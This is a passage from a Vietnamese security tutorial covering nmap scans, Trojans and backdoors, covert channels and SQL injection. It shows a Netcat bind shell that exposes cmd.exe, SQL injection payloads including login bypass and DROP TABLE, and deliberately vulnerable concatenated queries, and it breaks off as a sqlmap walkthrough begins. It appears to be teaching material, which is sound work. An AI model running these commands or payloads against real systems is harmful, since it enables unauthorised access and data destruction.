Quét một port cụ thể nào đó: nmap -p 3389 192.168.2.121


Quét kết nối TCP, thực hành quét bắt tay 3 bước: nmap -sT 192.168.2.121

17


An ninh thông tin

3.2
3.2.1

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

Trojan Và Backdoor
Phân biệt Trojan và Backdoor

Khái niệm cơ bản nhất đã nêu ở chương trước, tiếp theo chúng ta sẽ đi sâu vào
Trojan, Backdoor.
Backdoor Hay còn gọi là cổng sau, là chương trình mà hacker cài đặt trái phép
trên máy của nạn nhân. Để phục vụ cho việc điểu khiển hay xâm nhập vào lần
sau được dễ dàng. Backdoor còn có thể sóa tất cả các dấu vết của hacker khi
xâm nhập đã để lại. Backdoor thường thêm một dịch vụ mới trên hệ điều hành
Windows, dịch vụ càng khó nhận dạng thì hiệu quả càng cao. Do đó tên của
chúng thường đặt giống với tên của những dịch vụ của hệ thống hay thậm chí
các hacker sẽ tìm tên các tiến trình hệ thống nào không hoạt động và dùng tên
này đặt cho các backdoor của mình. Điều này sẽ qua mặt được cả những chuyên
gia hệ thống giàu kinh nghiệm.
Trojan Trojan và Backdoor đôi khi không có sự phân biệt do các công cụ dạng
này thường có chức năng giống nhau. Việc phân biệt chúng chỉ dựa trên hành
động của chúng mà hacker thực hiện. Ví dụ khi các hacker tiến hành các cuộc
tấn công từ chối dịch vụ thì các thành phần mã độc trên máy tính nạn nhân

gọi là Trojan. Còn khi hacker thâm nhập vào hệ thống thông qua các mã độc
được cài đặt sẵn thì gọi là Backdoor.
Trojan thường được cài đặt vào máy tính nạn nhân thông qua các hình thức
như tặng quà, trúng thưởng, . . . Nếu bất cẩn bạn có thể nhiễm Trojan, khi bại
nhiễm các các tín hiệu bàn phím, hay các hành động trên máy tính của nạn
nhân sẽ được gửi về hộp thư của hacker. Một số các Trojan phổ biến

18


An ninh thông tin

3.2.2

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

Overt Và Covert Channel

Overt channel
Là cơ truyền thông hợp lệ trên hệ thống mạng máy tính các trò chơi, hay chương
trình nghe nhạc xem phim truyền dữ liệu sử dụng cơ chế truyền này. Covert
channel
Kênh truyền bất hợp lệ. Khi hacker điều khiển máy tính nạn nhân thường sử
dụng kênh truyền bất hợp lệ Covert channel. Thành phần điều khiển Trojan sẽ
gửi yêu cầu chỉ thị tới chỉ thị đến các Trojan được cài trên máy nạn nhân thông
qua covert channel.
Covert channel dựa trên kỹ thuật gọi là tunneling. Ở kỹ thuật này một giao
thức sẽ được gói trong một giao thức khác nhằm vượt mặt firewall. Ví dụ như
ICMP tunneling là phương pháp mang theo các chương trình mà hacker muốn
cài đặt trên máy nạn nhân. Một trong những công cụ điển hình là Loki cho

phép truy nhạp vào mức cao ở trình điều khiển lệnh dựa trên ICMP.
Một số dạng Trojan phổ biến
- Remote Access Trojan (RAT): Dùng để truy cập từ xa vào hệ thống.
- Data-Sending Trojan: Đánh cắp dữ liệu trên hệ thống và gửi về cho tin
tặc.
- Destructive Trojan: Dùng để phá hủy dữ liệu trên hệ thống.
- Denial of Service Trojan: Hay còn gọi là zombies dùng để phát động các
đợt tấn công từ chối dịch vụ.
- Proxy Trojan: Tạo vỏ bọc truyền thông hay phát động tấn công từ một
hệ thống khác.
- FTP Trojan: Sao chép dữ liệu của máy nạn nhân bị dính Trojan.

3.2.3

Các Trojan Và Backdoor đặc biệt

- TROJ_OAZ: Là một Trojan thay đổi tên chương trình notepad.cexe
thành note.com và sau đó sao chép chính nó thành notepad.exe vào thư
mục của Windows. Như vậy mỗi khi chúng ta mở chương trình notepad
thì Trojan cũng hoạt động và mở công hậu (backdoor) 7597 để hacker có
thể thâm nhập vào máy tính từ xa.
- Tini: Là một Trojan kích thươc nhỏ và đơn giản nó hoạt động trên Windows, chuyên lắng nghe cổng 7777 giúp cho hacker chạy lệnh từ xa thông
qua chương trình telnet đến cổng này trên các máy tính bị lây nhiễm.

19


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT


- ComputerSpy Key Logger: Là ứng dụng lưu các tín hiệu bàn phím để thu
thập các thông tin đăng nhập của người dùng và các trang như ICQ, MSN,
facebook, AIM và Yahoo Messenger hay webmail.
- SubRoot: Trojan quản trị từ xa mà hacker có thể dùng để điều khiển máy
tính bị nhiễm qua cổng 1700.
- Hard Drive Killer Pro: Có thể phá hủy toàn bộ dữ liệu trên các hệ thống
DOS hay Windows.

3.2.4

Thử nghiệm tấn công

Ở thử nghiệm này tôi sẽ dùng công cụ Netcat là một dạng Trojan dòng lệnh khá
mạnh mẽ và sử dụng đơn giản. Trước đây nó được coi là một công cụ sạch nhưng
giới hacker đã sử dụng nó với mục đích phi pháp. Do đó hiện nay các chương
trình diệt vius đều đưa nó vào danh sách cấm. Netcat mở những cổng TCP hay
UDP trên máy tính bị nhiễm, sau đó sẽ dùng các chương trình telnet để kết nối
với các cổng đã mở, sau đó thực hien các hành động nguy hiểm như truyền file,
thực thi lệnh. Nó có thể chạy trên nhiều nền tảng như linux, windows, . . . tương
tác theo mô hình client/server.
Chúng ta có thể cài đặt trên hệ điều hành kali qua lệnh: sudo apt-get install
Netcat
Để xem các tùy chọn mà netcat hỗ trợ ta dùng: netcat -help hoặc nc -h

Chúng ta sẽ chộp banner của trang luongtrainer.com qua lệnh
nc luongtrainer.com 80
HEAD/HTTP/1.0
kết quả thu được


20


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

Ngoài ra bạn có thể quét cổng vơi lệnh
nc -nvv -z 192.168.2.121 1-100
kết quả thu được

Tiếp theo chúng ta sẽ biến Netcat thành một Trojan, từ máy tính nan nhân có
địa chỉ ip 192.168.2.124 chúng ta bật chế độ năng nghe của netcat qua lệnh: nc
-nvv -l -p 80 -e cmd.exe với -e là tùy chọn chỉ ra chương trình cần chạy ở đây
là chương trình dòng lệnh cmd.

Tiếp theo từ máy tấn công chúng ta sẽ chiếm quyền sử dụng cmd.exe của nạn
nhân qua lệnh: nc -nvv 192.168.2.124 80
21


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

Bây giờ chúng ta đã chiếm được quyền sử dụng chương trình cmd, trên máy
nạn nhân và ta có thể làm rất nhiều điều từ chương trình này.

3.2.5


Các phương pháp phòng chống

1. Cách phòng chống đầu tiên và đặc biệt hiệu quả đó là sử dụng các phần
mềm diệt virus như Avast, Kaspersky, Nob32 . . . để phat hiện và sóa bỏ
chúng.
2. Dùng các công cụ giám sát và dò tìm port như Fport, TCP view, PrcView,
...
3. Phòng chống bằng các kiểm tra tính toàn vẹn của tập tin. Đó là trong
windows có một tính năng là Windows File Protection giúp ngăn ngừa
việc thay thế các tập tin đã được bảo vệ.

3.3

SQL Injection

Albert Gonzalez - Trùm hacker SQL Injection Trong khoảng thời gian từ năm
2005 đến năm 2007, Albert Gonzalez đã đánh cắp 170.000.000 thẻ tín dụng trên
khắp thế giới. Vụ án này là vụ án lớn nhất trong lịch sử các tội phạm hacker vì
mức độ thiệt hại của nó gây ra (Số tiền bị đánh cắp ước tính bằng ngân sách
của một quốc gia đang phát triển). Như vậy SQL injection là gì tại sao thiệt
hại của nó gây ra lại nghiêm trọng như vậy.

3.3.1

Vậy SQL Injection là gì ?

SQL Injection: là một kỹ thuật, lợi dụng lỗ hổng của việc kiểm tra dữ liệu
đầu vào trong các ứng dụng web, các thông báo lỗi của hệ quản trị cơ sở dữ
liệu trả về, để inject(tiêm vào) các câu lệnh SQL và thực thi chúng bất hợp
pháp. Thực hiện các thao tác delete, insert, update,. . . trên cơ sở dữ liệu của

ứng dụng. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản
lý bởi các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, . . .

3.3.2

Các lỗi thường gặp

Không kiểm tra ký tự thoát truy vấn
Đây là dạng lỗi SQL Injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu
vào trong câu truy vấn SQL.
Ví dụ như câu truy vấn sau dùng để trả về các bản ghi từ bảng users
str = "SELECT * FROM users WHERE name = ’" + userName + "’;"

22


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

Tuy nhiên, nếu biến "userName" được nhập theo một cách nào đó, bởi người
dùng ác ý thì câu truy vấn của chúng ta sẽ trở thành.
SELECT * FROM users WHERE name = ’a’ OR ’t’=’t’;
Nếu đoạn mã trên được sử dụng cho vấn đề xác thực thì kết quả luôn được thực
thi.
Xử lý không đúng kiểu Thường xảy ra do lập trình viên hay người dùng
định nghĩa dữ liệu đầu vào không rõ ràng hay thiếu bước lọc dữ liệu đầu vào
Ví dụ như câu lệnh sau đây với mục đích lấy ra các bản ghi tương ứng với id
nhập vào:
statement := "SELECT * FROM data WHERE id = " + variable + ";"

Dễ thấy dạng dữ liệu của id ở trên là 1 trường số, nhưng nếu ta nhập vào biến
variable = 1;DROP TABLE users
khi đó câu truy vấn của chúng ta sẽ được thực thi nhưu sau
SELECT * FROM DATA WHERE id=1;DROP TABLE users;
lập tức bảng users sẽ bị xóa.
Blind SQL Injection SQL Injection dạng này là dạng lỗi tồn tại ngay trong
ứng dụng web nhưng hậu quả của chúng lại không hiển thị trực quan cho những
kẻ tấn công. Nó có thể gây ra sự sai khác khi hiển thị nội dung của một trang
chứa lỗi bảo mật này, hậu quả của sự tấn công SQL injection dạng này khiến
cho lập trình viên hay người dùng phải mất rất nhiều thời gian để phục hồi
chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử dụng một số công
cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập
sẵn như sqlmap.

3.3.3

Một số dạng tấn công SQL Injection thông dụng

Vượt kiểm tra lúc đăng nhập
Với dạng này, hacker có thể vượt qua các trang đăng nhập nhờ vào việc khai
thác lỗi khi dùng các câu truy vấn SQL thao tác trên cơ sở dữ liệu của ứng
dụng web.
Ví dụ như với đoạn mã sau với mục địch kiểm tra đăng nhập
"SELECT * FROM users WHERE name = ’" + userName + "’
AND Pass=’"+ Pass +"’;"
nếu chúng ta nhập userName là:

Bob’ or 1=1 --

thì câu lệnh trên sẽ thực thi như sau

"SELECT * FROM users WHERE name = ’Bob’ or 1=1 --’ AND Pass=’any’;"
Mà trong ngông ngữ SQL thì đằng sau dấu - - được hiểu là comment và không
được thực thi. Do đó hacker có thể truy cập trái phép.
Sử dụng câu lệnh SELECT
Để thực hiệt tốt kiểu tấn công này, hacker phải đọc hiểu các thông báo lỗi từ
hệ thống. Sau đó dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong
các trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thông tin
tìm kiếm như Họ, Tên,. . .
23


An ninh thông tin

CHƯƠNG 3. ĐI SÂU VÀO MỘT SỐ KỸ THUẬT

<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME
=’ " & _vAuthorName & " ’ "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
...
Set objRS = Nothing %>
Nếu chúng ta nhập vào trường tác giả là :
’ DROP TABLE T_AUTHORS -lập tức bảng T_AUTHORS sẽ bị xóa.
Sử dụng cấu lệnh INSERT
Thông thường khi ta đăng ký 1 tài khoản trên 1 ứng dụng web. Sau khi đăng
ký thành công người dùng có thể xem và chỉnh sử thông tin cảu mình. Ví dụ
một câu lệnh INSERT có cú pháp dạng

INSERT INTO TableName VALUES(’Value One’,’Value Two’,’Value Three’)
Từ một đoạn mã xây dựng câu lênh SQL có dạng:
<%
strSQL = "INSERT INTO TableName VALUES(’ " & strValueOne & " ’,
’ "& strValueTwo & " ’, ’ " & strValueThree & " ’) "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
...
Set objRS = Nothing %>
Nếu trường thứ nhất ta nhập là:
’ + (SELECT TOP 1 FieldName FROM TableName) + ’
Lúc này yêu cầu truy vấn trở thành
INSERT INTO TableName VALUES(’ ’ + (SELECT TOP 1 FieldName FROM
TableName) + ’ ’, ’abc’, ’def’)
Khi đó hacker đã tự động thực hiện thêm 1 lệnh nữa là
SELECT TOP 1 FieldName FROM TableName
Thử nghiệm tấn công
Có nhiều công cụ phục vụ cho việc tấn công SQL Injection và phải nói tới một
công cụ manh mẽ là sqlmap. Là một công cụ chuyên khai thác lỗ hổng của
cơ sở dữ liệu, có thể nói sqlmap là tốt nhất hiện nay với việc hỗ trợ nhiều tính
năng mạnh mẽ. Tool được tích hợp sẵn trên hệ điều hành kali linux 2.0, với
Windows muốn sử dụng được ta phải cài đặt thêm python.
Target: />Tool: sqlmap cài đặt trên hệ điều hành kali linux, Web Admin Finder
Bước 1: Kiểm tra xem website có lỗi SQL Injection không, ta thêm dấu ’ vào
sau địa chỉ web nếu có thông báo lỗi
24


×